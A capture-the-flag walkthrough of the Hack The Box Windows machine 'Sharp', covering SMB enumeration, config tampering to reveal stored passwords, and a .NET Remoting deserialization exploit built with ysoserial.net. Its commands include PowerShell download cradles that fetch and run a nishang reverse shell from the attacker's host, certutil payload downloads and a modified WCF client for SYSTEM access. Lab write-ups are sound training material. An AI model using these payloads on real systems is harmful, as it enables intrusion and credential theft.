Hack-The-Box-walkthrough[sharp]

introduce

OS: Windows
Difficulty: Hard
Points: 40
Release: 05 Dec 2020
IP: 10.10.10.219

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.219
PORT STATE SERVICE VERSION
135/tcp open tcpwrapped
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8888/tcp open sun-answerbook?
8889/tcp open ddi-tcp-2?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

SMB on 149 and 445 is a good first port of call.

SMB enum

first run smbmap -H 10.10.10.219 which shows us the directories in the SMB share, and also the permissions that we do or do not have access to.

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -H 10.10.10.219
[+] IP: 10.10.10.219:445 Name: localhost
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev NO ACCESS
IPC$ NO ACCESS Remote IPC
kanban READ ONLY

The kaban directory is accessible to us. We can take a note of this name too, as it may be a username for later on. We can also use smbmap with the -R flag to list out all the files and directories inside of the shares that we have access to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -H 10.10.10.219 -R
[+] IP: 10.10.10.219:445 Name: localhost
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev NO ACCESS
IPC$ NO ACCESS Remote IPC
kanban READ ONLY
.\kanban\*
dr--r--r-- 0 Sat Nov 14 13:57:04 2020 .
dr--r--r-- 0 Sat Nov 14 13:57:04 2020 ..
fr--r--r-- 58368 Sat Nov 14 13:57:04 2020 CommandLine.dll
fr--r--r-- 141312 Sat Nov 14 13:57:04 2020 CsvHelper.dll
fr--r--r-- 456704 Sat Nov 14 13:57:04 2020 DotNetZip.dll
dr--r--r-- 0 Sat Nov 14 13:57:59 2020 Files
fr--r--r-- 23040 Sat Nov 14 13:57:04 2020 Itenso.Rtf.Converter.Html.dll
fr--r--r-- 75776 Sat Nov 14 13:57:04 2020 Itenso.Rtf.Interpreter.dll
fr--r--r-- 32768 Sat Nov 14 13:57:04 2020 Itenso.Rtf.Parser.dll
fr--r--r-- 19968 Sat Nov 14 13:57:04 2020 Itenso.Sys.dll
fr--r--r-- 376832 Sat Nov 14 13:57:04 2020 MsgReader.dll
fr--r--r-- 133296 Sat Nov 14 13:57:04 2020 Ookii.Dialogs.dll
fr--r--r-- 2558011 Sat Nov 14 13:57:04 2020 pkb.zip
dr--r--r-- 0 Sat Nov 14 13:57:04 2020 Plugins
fr--r--r-- 5819 Sat Nov 14 13:57:04 2020 PortableKanban.cfg
fr--r--r-- 118184 Sat Nov 14 13:57:04 2020 PortableKanban.Data.dll
fr--r--r-- 1878440 Sat Nov 14 13:57:04 2020 PortableKanban.exe
fr--r--r-- 31144 Sat Nov 14 13:57:04 2020 PortableKanban.Extensions.dll
fr--r--r-- 2080 Sat Nov 14 13:57:04 2020 PortableKanban.pk3
fr--r--r-- 2080 Sat Nov 14 13:57:04 2020 PortableKanban.pk3.bak
fr--r--r-- 34 Sat Nov 14 13:57:04 2020 PortableKanban.pk3.md5
fr--r--r-- 413184 Sat Nov 14 13:57:04 2020 ServiceStack.Common.dll
fr--r--r-- 137216 Sat Nov 14 13:57:04 2020 ServiceStack.Interfaces.dll
fr--r--r-- 292352 Sat Nov 14 13:57:04 2020 ServiceStack.Redis.dll
fr--r--r-- 411648 Sat Nov 14 13:57:04 2020 ServiceStack.Text.dll
fr--r--r-- 1050092 Sat Nov 14 13:57:04 2020 User Guide.pdf
.\kanban\Plugins\*
dr--r--r-- 0 Sat Nov 14 13:57:04 2020 .
dr--r--r-- 0 Sat Nov 14 13:57:04 2020 ..

To retrieve all of the files and save it to our machine, we can use

1
smbget -R smb://10.10.10.219/kanban

We downloaded some stuff for Windows, which may have to (de)compile. Before going to a Windows VM, however, I’d rather read through the files and docs and see if there are any quick and easy ways

Kaban Files

use ack to search for strings that we think may be helpful - username, password, port, email, etc.

1
2
3
4
5
6
apt-get install ack

┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# ack -i "password"
PortableKanban.pk3
1:{"Columns":[{"Id":"4757781032fd41b2a4511822e2c08850","SortOrder":0,"Name":"Demo","Limit":0,"TaskOrder":{"SortType":"None","Parameters":[{"Field":"Completed","SortOrder":"Descending"},{"Field":"Deadline","SortOrder":"Ascending"},{"Field":"Priority","SortOrder":"Descending"},{"Field":"Topic","SortOrder":"Ascending"},{"Field":"Person","SortOrder":"Ascending"}]},"AutoComplete":false,"ResetCompleted":false,"TimeStamp":637409769443121006}],"Tasks":[{"Id":"33870d6dfe4146718ba0b2c9f7bc05cf","SeriesId":"00000000000000000000000000000000","SortOrder":"oGdBKcFw","ColumnId":"4757781032fd41b2a4511822e2c08850","TopicId":"00000000000000000000000000000000","PersonId":"00000000000000000000000000000000","Text":"New Task","Priority":"Low","Created":"\/Date(1605380100000+0100)\/","CreatedBy":"e8e29158d70d44b1a1ba4949d52790a0","Modified":"\/Date(-62135596800000)\/","ModifiedBy":"00000000000000000000000000000000","Deadline":"\/Date(1605308400000+0100)\/","HasDeadline":false,"Completed":"\/Date(1605308400000+0100)\/","CompletedBy":"00000000000000000000000000000000","Done":false,"Canceled":false,"Link":"","Subtasks":[],"Tags":[],"Estimate":0,"Progress":0,"Points":0,"Comments":[],"CustomFields":{},"TimeStamp":637409769542424146}],"TimeTracks":[],"Persons":[],"Topics":[],"Tags":[],"Views":[],"Users":[{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==","Role":"Admin","Inactive":false,"TimeStamp":637409769245503731},{"Id":"0628ae1de5234b81ae65c246dd2b4a21","Name":"lars","Initials":"","Email":"","EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==","Role":"User","Inactive":false,"TimeStamp":637409769265925613}],"ServiceMessages":[],"CustomFieldDescriptors":[],"MetaData":{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1605380100000+0100)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-62135596800000-0000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637409769001918463}}
  • Think of ack like grep . As default, Ack trawls through files in our current working directory and searches for the string we want.

  • Sometimes, grep can be complicated to get right, and also isolates a string from its wider context, which can sometimes be misleading in my opinion

take a closer look at what we have here in PortableKanban.pk3, we have encrypted passwords and some usernames too, with their respective privileges.

1
2
3
4
5
6
7
Administrator
ID: e8e29158d70d44b1a1ba4949d52790a0
Encrypted Password: "k+iUoOvQYG98PuhhRC7/rg=="

Lars
ID: 0628ae1de5234b81ae65c246dd2b4a21
Encrypted Password: "Ua3LyPFM175GN8D3+tqwLA=="

Read the Docs

before trying to reverse engineer the .exe file to find out how the passwords are hashed, it’s best to read the user guide that accompanied these SMB files: firefox “User Guide.pdf”

  • Some important notes I take from reading the docs:

page 1: As the program is ‘portable’, it’s at our mercy if we change config files

page 3: Blank passwords shouldn’t be used - which says to me, it CAN be used but isn’t advised

pages 11: There is the only one default user: “Administrator” with blank password.

page 18: suggests that if you forget your password, just take the portable .exe to a different directory and try to execute it as Admin?

pp 22: “Passwords are hidden by default in Setup/Users tab.”

Reading the docs, it seems like need to relocate to a Windows VM, sign in as Administrator,and try and find the decrypted passwords that may be waiting in Users?

zipped the entire directory that we downloaded from the SMB share, and moved it to my windows VM.

Sign in as Admin

When start the .exe, this interesting pop up let’s know that data from a pk3.bak is recovered. Intresting

when try to sign in as Admin with a blank password, don’t sign in! So much for an easy ride.

Config Manipulation

return back to that first pop up: that the data was recovered from the pk3.bak file. When we open it, we can see it’s the same file we got the encrypted passwords from earlier

If the .exe calls on this backup file to restore it’s own configurations, we may be able to remove the existing password fields. It may possibly let us sign straight in - let’s try.

What we need to do is remove this entire directory and the un-zip it fresh again. Now go and manipulate the pk3.bak file.

If we open the pk3.bak file in notepad, and remove this value for the password so it shows we should gain access . Be sure to Save the file as “All Files”, and let it replace any file it wants.

Now, if we run the .exe and let it call on the pk3 backup, it will load the “blank password” and let’s us sign in as Administrator

Password Hunt

From our notes earlier, we gathered that we need to find the Users tab, as this is where we might find a password. Click on the cog for setup. Then move to the Users tab

we get the password for Lars: G123HHrth234gRG

Make Lars Admin

Before we go and take these creds back to the SMB share, to see if we have access to anything new, let’s experiment with making Lars admin.

Delete the directory for the exe again. Unzip a fresh install, and edit the pk4.bak file again to change Lars to Admin

And what do you know, if we make Lars admin in the config file, sign in, and look at the passwords again, we get the Admin’s too: G2@$btRSHJYTarg (spolier: we don’t do much with the admin’s password)

Test the Creds

Armed with credentials, we can begin a second round of enumeration back in our Kali VM

1
2
3
#users;passwords
administrator : "G123HHrth234gRG"
lars : "G2@$btRSHJYTarg"

If we put these into a respective users and passwords list in kali, and then run crackmapexec we can see if we have any valid creds:

1
2
3
4
5
6
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# crackmapexec smb 10.10.10.219 -u usernames.txt -p passwords.txt
SMB 10.10.10.219 445 SHARP [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB 10.10.10.219 445 SHARP [-] Sharp\administrator:G123HHrth234gRG STATUS_LOGON_FAILURE
SMB 10.10.10.219 445 SHARP [-] Sharp\administrator:G2@$btRSHJYTarg STATUS_LOGON_FAILURE
SMB 10.10.10.219 445 SHARP [+] Sharp\lars:G123HHrth234gRG

Lars’ creds are valid on the SMB share, so let’s go and see if we have access to anything new.

SMB enum II

Running smbmap again with valid creds shows us we have access to a dev share:

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219
[+] IP: 10.10.10.219:445 Name: localhost
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev READ ONLY
IPC$ READ ONLY Remote IPC
kanban NO ACCESS

Running the previous command with -R lists out what awaits us in the dev share. There isn’t too much here, so let’s download it and take a look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219 -R
[+] IP: 10.10.10.219:445 Name: localhost
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev READ ONLY
.\dev\*
dr--r--r-- 0 Sun Nov 15 06:30:13 2020 .
dr--r--r-- 0 Sun Nov 15 06:30:13 2020 ..
fr--r--r-- 5632 Sun Nov 15 05:25:01 2020 Client.exe
fr--r--r-- 70 Sun Nov 15 08:59:02 2020 notes.txt
fr--r--r-- 4096 Sun Nov 15 05:25:01 2020 RemotingLibrary.dll
fr--r--r-- 6144 Mon Nov 16 06:55:44 2020 Server.exe
IPC$ READ ONLY Remote IPC
.\IPC$\*
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 InitShutdown
fr--r--r-- 4 Sun Dec 31 19:03:58 1600 lsass
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 ntsvcs
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 scerpc
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-364-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 epmapper
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-1e4-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 LSM_API_service
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 eventlog
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-190-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 atsvc
fr--r--r-- 4 Sun Dec 31 19:03:58 1600 wkssvc
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-428-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 W32TIME_ALT
fr--r--r-- 4 Sun Dec 31 19:03:58 1600 srvsvc
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 vgauth-service
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-254-0
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-274-0
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PSHost.132546763363573536.2940.DefaultAppDomain.wsmprovhost
kanban NO ACCESS
1
smbget -R smb://10.10.10.219/dev/ -U lars%G123HHrth234gRG

Looks like we’re gonna zip this new downloaded dev directory and pop it over to our Windows VM again

De-compiling

To figure out what these binaries are doing, we need to recompile them. dnspy is one such tool for decompile .exes: https://github.com/dnSpy/dnSpy

Once you have dnspy, open up client.exe and start opening up the tabs on the left

The tab we’re looking for is called remote sample, as this contains some interesting creds just hanging out

The key information is that we now have creds for the service on port 8888, which we found earlier in our nmap scan. We also have the directory/API to call on when we make the request too (SecretSharpDebugApp……)

  • debug : “SharpApplicationDebugUserPassword123!”

In Search of an Exploit

In this same dnspy tab, we can take the top string “Remoting.Channels.Tcp” and google it and ask for an exploit. The third option on google is a github with a possible exploit: https://github.com/tyranid/ExploitRemotingService

  • An excellent pre-compiled can be found here: https://github.com/parteeksingh005/ExploitRemotingService_Compiled

Compile the Exploit

compile this github exploit in visual studio community.

  • If it’s too difficult to make a working binary, I’d suggest you use the pre-compiled binary above

Install the necessary libraries that visual studio asks for, and then traverse around the directories and files on the left until you find ExploitRemotingService.csproj.

Click build and watch the output, which should tell you where the resultant client .exe is located.

Create a reverse shell

We need to complete a number of steps here, which aren’t complicated but do need to be in a particular order:

  1. Download python for windows, and start a python web server: python -m SimpleHTTPServer 80

  2. Download netcat for windows and listen on the port for a reverse shell: nc.exe -lvp 4321

  3. Download a nishang reverse shell, save it, and add this one-liner at the end of the file to have the victim execute the reverse shell:
    Invoke-PowerShellTcp -Reverse -IPAddress [Your IP] -Port [Your listner port]

  4. Produce a serialised reverse shell by downloading Yososerial

  5. Connect to the victim machine via the binary we compiled, with the attached the commands for a reverse shell.

The first two steps are easy, so let’s focus on the last two.

ysoserial.net

We can find Yososerial here: https://github.com/pwntester/ysoserial.net/releases/download/v1.34/ysoserial-1.34.zip

What we’re going to do here is produce a serialised command to reach into our web server and grab the reverse shell:

1
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1')"

and we got

1
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjA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XN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL

We’re now going to take the long output and include it to the binary we built.

Remote connection .exe

And now let’s run the binary with the serialised output:

1
ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0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ZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
1
2
3
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

Ignore the error output. What you want to focus on is your python web server. We should see the victim machine pick up our reverse shell file.

1
2
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.219 - - [10/Jan/2021 01:57:04] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

And we have a shell as Lars

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
D:\1.pentesttool\内网渗透>nc.exe -lvp 4321
listening on [any] 4321 ...
connect to [10.10.14.5] from DESKTOP-9LSPC40 [10.10.10.219] 49678
Windows PowerShell running as user lars on SHARP
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
sharp\lars
PS C:\Windows\system32> net user

User accounts for \\SHARP

-------------------------------------------------------------------------------
Administrator debug DefaultAccount
Guest lars WDAGUtilityAccount
The command completed successfully.

and got the user flag

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\users\lars\desktop> dir


Directory: C:\users\lars\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/7/2021 2:17 PM 34 user.txt


PS C:\users\lars\desktop> type user.txt
dc4569514afab6cd583ad1259b69eb38

Lars Shell

We can get the user flag and then enumerate the machine to find a way to escalate our privileges.In Lars’ Documents, directory there’s some stuff to do with wcf.

  • Let’s bring the files back onto our Windows VM, and read them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\users\lars\documents\wcf> dir


Directory: C:\users\lars\documents\wcf


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2020 1:40 PM .vs
d----- 11/15/2020 1:40 PM Client
d----- 11/15/2020 1:40 PM packages
d----- 11/15/2020 1:40 PM RemotingLibrary
d----- 11/15/2020 1:41 PM Server
-a---- 11/15/2020 12:47 PM 2095 wcf.sln

Transfer

We can zip the wcf directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS C:\users\lars\documents> dir


Directory: C:\users\lars\documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2020 1:40 PM wcf


PS C:\users\lars\documents> Compress-Archive -LiteralPath C:\users\lars\Documents\wcf -DestinationPath C:\users\lars\Documents\wcf.zip
PS C:\users\lars\documents> dir


Directory: C:\users\lars\documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2020 1:40 PM wcf
-a---- 1/9/2021 6:09 PM 11598452 wcf.zip

And now, we can move the zipped folder to the dev smb we had remote access to:

1
move-item -path C:\users\lars\Documents\wcf.zip -destination c:\dev

Back on our windows VM, we can load the Dev share up:

1
2
3
4
5
C:\Users\Administrator>net use X: \\10.10.10.219\dev
为“10.10.10.219”输入用户名: lars
输入 10.10.10.219 的密码:
命令成功完成。
#Puts lars and his password in: G123HHrth234gRG

And if you look in your Windows VM network, the victim’s dev SMB share will be there waiting as DriveX

Exploring WCF

If we open up the .sln file that was in the WCF directory, we can read how it works in Visual Studio

We can look further into the Client’s main function

This seems to connect to port 8889 running on the victim machine, which we will assume is a service running as a privileged user.

  • The plan is then to add some malicious code for a reverse shell, re-compile this into a binary and upload it to the victim, and then execute it to receive a privileged shell.

Build the Exploit

We can add a line underneath the last console.Write line . This will repeat the same way we got the User shell.

1
Console.WriteLine(wcfService.InvokePowerShell("iex (new-object net.webclient).downloadstring('http://10.10.14.5/Invoke-PowerShellTcp.ps1')"));

Then build the solution, and note the directories that the client and remote .dll are.

Transfer II

Unfortunately, I wasn’t able to just chuck these files back into the SMB share we networked too.However I didn’t try very hard to make it work.

Instead, I coped the client and wcf remote dll back into the directory where I set up my python web server, and then pulled both of these onto the victim machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.5/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll
**** Online ****
0000 ...
1e00
CertUtil: -URLCache command completed successfully.
PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.5/WcfClient.exe" WcfClient.exe
**** Online ****
0000 ...
1400
CertUtil: -URLCache command completed successfully.
PS C:\users\lars\documents> dir


Directory: C:\users\lars\documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2020 1:40 PM wcf
-a---- 1/9/2021 6:51 PM 5120 WcfClient.exe
-a---- 1/9/2021 6:50 PM 7680 WcfRemotingLibrary.dll

Privilege Escalation

In powershell, we can execute this client via

1
PS C:\users\lars\documents> .\WcfClient.exe http://10.10.14.5/Invoke-PowerShellTcp.ps1
  • Be sure you have a netcat reverse shell waiting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
D:\1.pentesttool\内网渗透>nc.exe -lvp 4322
listening on [any] 4322 ...
connect to [10.10.14.5] from DESKTOP-9LSPC40 [10.10.10.219] 49692
Windows PowerShell running as user SHARP$ on SHARP
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system
PS C:\Windows\system32> cd /users/administrator/desktop
PS C:\users\administrator\desktop> dir


Directory: C:\users\administrator\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/7/2021 2:17 PM 34 root.txt


PS C:\users\administrator\desktop> cat root.txt
5a631ff304d673cdd9f775ce5bc81879

And we’re root! This Shell won’t last long, so be careful!

  • If you want to do post-root activities, upload a netcat binary and have the new system shell quickly use this binary to create a new reverse shell.

use mimikatz to retrieve the admin’s hash, for persistence.

Summary of knowledge

  • SMB enumeration
  • ack tool usage
  • reset password by remove the existing password fields
  • make Lars admin in the config file to get Administrator’s pass
  • De-compiling and compiling file use dnspy
  • use ExploitRemotingService and ysoserial.net and nc.exe to get a reverse shell
  • powershell commands to zip and move files
  • use certutil -urlcache -split -f “” to download files
  • make use of service running as a privileged user to escalate to administrator

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…